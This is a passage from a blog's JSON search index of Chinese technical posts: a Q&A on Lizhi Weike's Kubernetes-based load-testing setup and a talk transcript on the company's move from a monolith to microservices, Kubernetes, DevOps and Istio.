Q：我们公司的压测是每次压测之前申请一批虚拟机，压完之后销毁，这种自动化压测的方式还是能节省不少成本的。我想问一下，对于操作团队使用成本高不高？ A：我们这边的压测成本是不高的，因为压测任务，我们都是放在集群上的，也就是说我们用了多少才会去申请、才会弹出那么多。等压测任务结束后，它是自动释放的，我是把资源都销毁掉的。 Q：这个对于服务在哪个云有要求吗? A：虽然我刚才说到的集群是 TKE 的，但 kubernetes 作为一项开源的、通用的标准化技术，只要能提供该服务的云，理论上都可以。 Q：你们压测会压生产吗？大概多久压一次？脏数据怎么办？ A：我们压测会在尽量不影响用户的情况下定期进行线上压测，大概是每月一次，新项目上线前也会在测试环境压，也有专门的压测集群来压，脏数据的话也是要清的，我们有机器人用户，可以针对这些用户进行脏数据清理。 Q：我们公司已经有用几台服务器来压测，想问下为什么要用 kubernetes 集群呢？ A：一方面我们当时刚好在做集群方面的实践，另一方面呢，也考虑了集群资源管理上的优势，比如资源隔离或限制，因为有的时候测试是不太清楚自己需要多少资源的，不加限制的话有的时候会占用比较多资源，还有就是任务状态、日志的收集还有就是我前面提到的一些集群的特性。 ","date":"2021-04-13","objectID":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/:0:7","tags":["tech","cloud native"],"title":"荔枝微课基于 kubernetes 搭建分布式压测系统","uri":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/"},{"categories":["Tech"],"content":" 导语 本文整理自又拍云举办的微服务架构设计与实践｜Open Talk 线上公开课，荔枝微课基础架构负责人王诚强做的题为《荔枝微课基础架构的演进与实践 》 的分享。本次活动还邀请了Apache APISIX 和又拍云等企业的技术专家分享 API、Service Mesh 等相关实战经验。 近几年，云原生技术和理念得到广泛接受，众多企业开始探索云原生架构转型落地。本文将会详细讲述荔枝微课是如何做云原生下的微服务基础架构设计。 王诚强，荔枝微课基础架构负责人。主要从事基础技术研究开发、基于云原生的基础架构设计以及基础架构团队的管理建设。致力于云原生理念下，以微服务搭建中台。 ","date":"2020-09-11","objectID":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/:0:0","tags":["tech","cloud native"],"title":"荔枝微课基础架构的演进与实践","uri":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/"},{"categories":["Tech"],"content":"云原生：未来架构的演化方向 云原生（Cloud Native）是未来架构的演化方向，包含了一组应用模式，用于帮助企业快速、持续、可靠、规模化地交付业务软件，由微服务架构、DevOps 和以容器为代表的敏捷基础架构组成，其中包含很多有利于我们做更多扩展持续演进的理念。我认为云原生是一种文化、一种理念， 也是一种生态，既包括技术（微服务、敏捷基础设施 K8S），也包括管理（DevOps、持续交付）， 范围极其广泛，总得来讲是一种围绕云计算时代的架构。 虽说出现得相对比早期的 Spring Cloud 要晚一些，但也是非常先进的，像谷歌最早期贡献出来的 K8S，之后各大公司也都是在这个开源项目上不断去迭代更新，因此它的生态很完善。下图中完整的展示了云原生的整个生态，包括了很多不同的环节，比如数据库，还有消息流，网关、服务网格等等，这里就不再一一列举了，大家有兴趣可以去深入了解。附CNCF全景图： ","date":"2020-09-11","objectID":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/:0:1","tags":["tech","cloud native"],"title":"荔枝微课基础架构的演进与实践","uri":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/"},{"categories":["Tech"],"content":"云原生的演进历程 2001年虚拟机进入到了一个可商用的阶段， 2013 年 Docker 发布后会发现很多开源项目、个人开发者都开始用Docker去发布自己的应用；2015年CNCF（云原生计算基金会）成立，2018 年 Kubernetes 从 CNCF 毕业，到了 2019 年我们会发现它已是大家时常谈论的热点。云原生开始大热，因为它已经形成了一个比较成熟的体系，各大云厂商也开始把自己的云服务、容器服务等开始推向市场，这时大家也不用从零开始自建，这也告诉我们要去把握技术发展的趋势，懂得借势，而不是什么都是从零开始。 ","date":"2020-09-11","objectID":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/:0:2","tags":["tech","cloud native"],"title":"荔枝微课基础架构的演进与实践","uri":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/"},{"categories":["Tech"],"content":"荔枝微课架构的演进历程 上古时期：单体架构，业务优先 所谓的上古时期可以理解成公司的创始时期，这时优先以业务为主，如果连业务都没起来又谈何去做更多的技术发展，这个阶段可能使用单体架构更容易做到迭代。不过它的优点是业务起步快，一个人单枪匹马就可以把整个项目给建起来了，可能就那么一两个服务，它的部署维护也要简单很多，目的就是先把业务做起来。 单体架构的缺点也很明显，一个单体项目功能太多，新人就不易上手，项目越做越复杂，耦合度越来越高，会给后期新进人员带来很多难题，我们私下称之为“死伤”，不利于扩展新功能。其中最麻烦的是后面的新人要去接手并开展新功能，如果代码质量有问题，可能一个局部 BUG 就会影响到整体。而且有很多已经完成的功能，会重复使用到新的业务中，比如支付、账号等这些同样的功能，难道又要重新做一遍吗？ 不过上古时期的整体架构也不一定只有一个服务器、一个服务，也是有一些伸缩性的。上图中的Users、Threads、Posts 构成了整个单体结构的应用，它是可复制的，比如在负载均衡下面挂多个。另外它是无状态的，所谓无状态是指不会因为多一台服务伸缩出来而导致服务不可用，其中需要特别注意的是一些需要设置白名单的，比如 IP 白名单，多一台机器，可能 IP 就对不上了，会导致其他的环节报错。不过这可以通过一些软件设计的方法，比如代理、生产消费这种模式去处理。 初期：初步微服务，解耦化 初期阶段单体结构会变得越来越复杂，维护起来也会越来越难。想象一下，一个系统里面可能有几十甚至上百个不同的模块，不同的文件夹，一个新人看完这些代码都需要花很多的时间，又谈何了解整体并做维护呢？甚至整个要跑起来所要了解的知识也很多。因此后面就需要会做解耦化，也就是我们所说的初步微服务化。不过初期还是由业务来推动的，这个时候的目标还是拓展不同的项目，解耦的话也不会一步就到容器化。该阶段需要先对服务做松耦合，方便新人进来后去维护代码，另外就是做很多像监控这类兜底的能力。 说到服务做松耦合（解耦），因为早期没有很好的统筹，很多应用是解耦了，但它的技术栈多而杂，甚至连部署方式也都不一样，如果是原来维护项目的开发人员走了，由你来接手，它的语言、框架、部署方式都不同，维护工作会很难进行。拆分后也会面临到服务关系问题，服务少的时候还能明确服务之间的调用关系，当服务多了后，调用关系就会比较乱，特别是为了方便调用，快速上线将配置跟代码混合一起的情况，这样拆分后反而会带来更多麻烦。因此上古时期以业务为主，需要衡量一下是否拆分，业务有没有这个需求，不能因为做拆分而影响业务，另一个是如果人员不够也不适合去做拆分，维护起来会更麻烦。 整体式架构拆分如上图所示，这里写到是 Container Ports，与以前相比更理想化了一些，需要先进行容器化，拆分之后将 Users 服务、Threads 服务、Posts 服务分别对应不同的 API 入口，分别去扩展会更利于去维护。比如负责 Posts 开发的，就只需专注于这一块。 领域驱动设计与微服务 拆分中有一个词叫领域驱动设计（Domain-Driven Design，简称 DDD），是一种由域模型来驱动系统设计的思想，最早前的还是通过数据库等数据源来驱动系统设计 （Model-Driven Design，简称 MDD）。领域驱动则会划分业务和功能，比如说支付、订单或者是用户等，拆分后的可复用性就更强了，相互调用就可以。领域模型是对业务模型的抽象，领域驱动设计相对比较复杂，有兴趣的可以去深入了解，总的来说规划设计不是一成不变的，按自己最适合的来就好了。 拆分后也会面临一些问题，因为服务变多了，部署、管理、资源规划会特别麻烦，期望每一个微服务有自己的专用数据库，前面说到了要衡量是否拆分，规模很小的话做这个是得不偿失的，应该先把量做起来，比如单表过亿、超大量了，对数据库做组成、只读、读写分离、分表都没有用的时候再去考虑分库。而且拆分之后使用了专用数据库，它们之间的调用会是个麻烦，特别是分布式事务，下面会再详细讲解。 中期：深水期改革，实现集群化 中期是集群化的过程，也可以说是容器化。我个人认为在当时的时间节点上，顺序可能是反了，应该是容器化做得越早越好，这样解耦的时候会减少很多不必要的麻烦，当然这个也跟历史时间的趋势有关系，可能之前没有兴趣，大家觉得这个技术不成熟，不敢用，因此还是按老的方式解耦。但如果是现在还未开展这些工作，需要之后再去做的，是可以把容器化提前一些的。 对我们而言，中期要做的是要把初步微服务化过程中存在的一些问题纠正过来，需要统一配置中心，分离代码和配置；统一开发测试流程，统一持续集成持续部署方式，做容器化、集群化改造，提供更为全面的监控告警体系。虽然在初期微服务化时也做了一些监控方面的工作，但既然进到了云原生，相比在单台的 vm 机上做监控，形式会不太一样，但是理念都是相通的，需要升级到更适合集群化上的监控告警能力。 改革都是向云原生靠拢的，具体措施在于初步微服务化后，通过引入K8S以解决服务管理、资源管理问题，并进入云原生生态，这样很多东西都能用起来，避免重复建设；引入 DevOps 解决自动化流程问题，包括自动测试、代码质量评估、构建、部署等；引入Istio解决网关和服务治理问题。 当然上述这些改革可以根据自己的情况去适配，不过也会面临一些问题。我们不仅要着眼于软件架构，还需要有更多基础架构的视野，有些问题需要基础架构的能力去解决，又或是软件架构能解决但实现起来特别复杂的，这时交给基础架构去做会简单很多。另外，设计如此多的改造、变更开发设施流程需要更多的跨部门沟通与资源，造成成本增加；改造后也会带来一些风险，需要检测评估出台兜底方案。此外，改造中要用到很多新的东西，需要我们持续不断的学习去汲取知识才能一直往前走。 云原生应用与传统应用的区别 云原生在一个更好的基础平台与设施上提供了更多的应用。因为做了容器化就不需要指定操作系统，K8S 的资源调度更有弹性，之前需要通过代码来协调实现伸缩策略，比较麻烦，借助DevOps 会容易达成协作，因为它整个流程都是自动的，能够敏捷开发。还有微服是都是各自独立的，具有高内聚、低耦合的原则，具有自动化运维、快速恢复的特点，自愈能力强。当集群宕掉了，它会自动拉起，比如之前深夜业务故障可能需要定位到哪个服务宕掉了，再重新启动起来，现在就不用这么麻烦，它会自动重新挂起，用户甚至都不会感知。 如上图所示，原有架构是没有集群化的，比较乱；新架构做了集群化，甚至是做了网络隔离。说起网络隔离，有些公司可能觉得没必要，当测试环境跟生产环境在同一个网络，会引入一些不确定的因素，如果是上面的应用出现漏洞，有可能会被挖矿，甚至影响到生产环境，而网络隔离能有效的防止这种情况。新架构的优势在于通过集群化的过程可以实现有序管理、安全隔离，功能也更强大，像上面说到的自愈、资源编排等，生态也更加好了。当然我们不仅是关注外部服务，其他云原生上的应用可以直接通过 Helm 之类的去安装。 再提到 DevOps，这是通过不同的环节去建设的，从编码到上线监控做服务治理，都是按下图的流程走完，到后面的能力也越来越强。在编码开发环节，关注的是代码仓库、代码质量，像代码质量监测，是之后一步步去往上加的。测试也是一样，最早是自己做一个功能去测试，后面加了很多自动化测试的手段，比如压测，可以保证代码上线的质量。 大家也许会觉得上线之前加那么多环节，那迭代速度不就变慢了吗？其实这是一个错误的认知，真正会变慢的是代码质量不行，带着 BUG 上线，发现后回滚甚至可能会直接带来损失。这要是放在在以前的工厂，这种叫返工、召回，会更加影响效率，只有成功的发布才算是有效率的迭代。 构建环节最早是自己把文件、代码、环境依赖等打包好，传到服务器，需要依赖服务器的自启动手段去维护应用。做了容器化后，通过容器镜像，打包成镜像，它的环境会处于一个隔离的状态，不易受到影响，再利用 DevOps 的 pipline+K8S 去发布。环境做了更明确切分，发布形式从最早的灰度到可以滚动升级。 监控方面，最早只有日志采集和 statsd 监控，上了集群后就有 prometheus 去提供更多的监控信息。告警环节，从最早的邮件到企业微信，现在能更直接及时地收到事件信息，sentry 把报错收集过来，就可以及时定位到问题。分析也是这样，如果对流程不熟悉，出问题后查找定位可能要花很多时间来分析，而现在做到了一键分析、慢查询分析、RDB 分析，甚至监控曲线更智能的分析，当然现在云厂商出售的服务器也会提供这些能力。 上线治理中，最早是当发现某个服务有异常，除了在 LB 负载均衡调权重，没有其他更好的办法，只能通过代码发版去做降级。有服务治理之后，就可以在这一层做像熔断之类的处理，例如有 K8S 之后，资源的调度、伸缩都更自动化了，再引入 Istio 、链路追踪、访问控制等可以得到更好的加强。 分布式事务 分布式事务是相对本地事务而言的，而数据库本地事务有A（原子性）、C（一致性）、I(隔离性)、D（持久性）等四大特性。通俗来讲就是一次性把所有事情打包做完，它是一个分布式的。说到分布式肯定要提到布鲁尔定理（CPA 定理），具有 C (一致性)、A ( 可用性)、P (分区容错性)的特性。 理解了概念之后才能提出更好的解决手段，因为 CPA 中理论上没有网络延迟，而实际现实里是有的，所以在 CPA 定理上加一个 BASE，即 Basically Available(基本可用)、Soft state(软状态)和 Eventually consistent (最终一致性)，可以理解是对 CAP 中 AP 的一","date":"2020-09-11","objectID":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/:0:3","tags":["tech","cloud native"],"title":"荔枝微课基础架构的演进与实践","uri":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/"},{"categories":["Tech"],"content":"如何确定架构方向 架构的方向始终是围绕需不需要、方不方便、稳不稳定、适不适合等展开的。单体架构也不一定不适合，主要看业务、成本、效率是否需要，如需要则是可以保留的，或是当达到了一定规模有需求时再去考虑。在考虑如何规划架构时，可以从研发效率、扩展性等方面考虑是否更方便，当然最关键的是保持稳定性。 微服务的五大原则 不要构建微服务，即不要为了微服务而微服务，视实际情况而定 不要在没有 DevOps 或者云服务的情况下进行微服务，要顺势而为，借力打力 不要通过使它们变得太小来制造太多的微服务 不要把将微服务转变为 SOA 不要尝试成为 Netflix，不需要什么都从头开始 架构的评价方法 性能测试，比如网络耗时 压力测试，检测架构漏洞和需改进的 定期演练，定期检测 团队、用户是否满意，要根据反馈不断的改进 从一年前的事故频发到中间一段时间的误报，这个过程我们也做了很多改进，因为毛刺会直接影响我们的判断。还有些是第三方平台事故，针对第三方的问题首先是要沟通迫使对方去改进，再者自己也做好一些灾备方案，比如选择更多的合作商。今年我们步入平稳增长期，基本上就没有毛刺了。 以上是王诚强在又拍云 Open Talk 公开课上的主要内容分享，视频观看、PPT 下载请点击这里。 ","date":"2020-09-11","objectID":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/:0:4","tags":["tech","cloud native"],"title":"荔枝微课基础架构的演进与实践","uri":"/posts/2020/09/11/the-evolution-and-practice-of-tenclass-infrastructure/"}]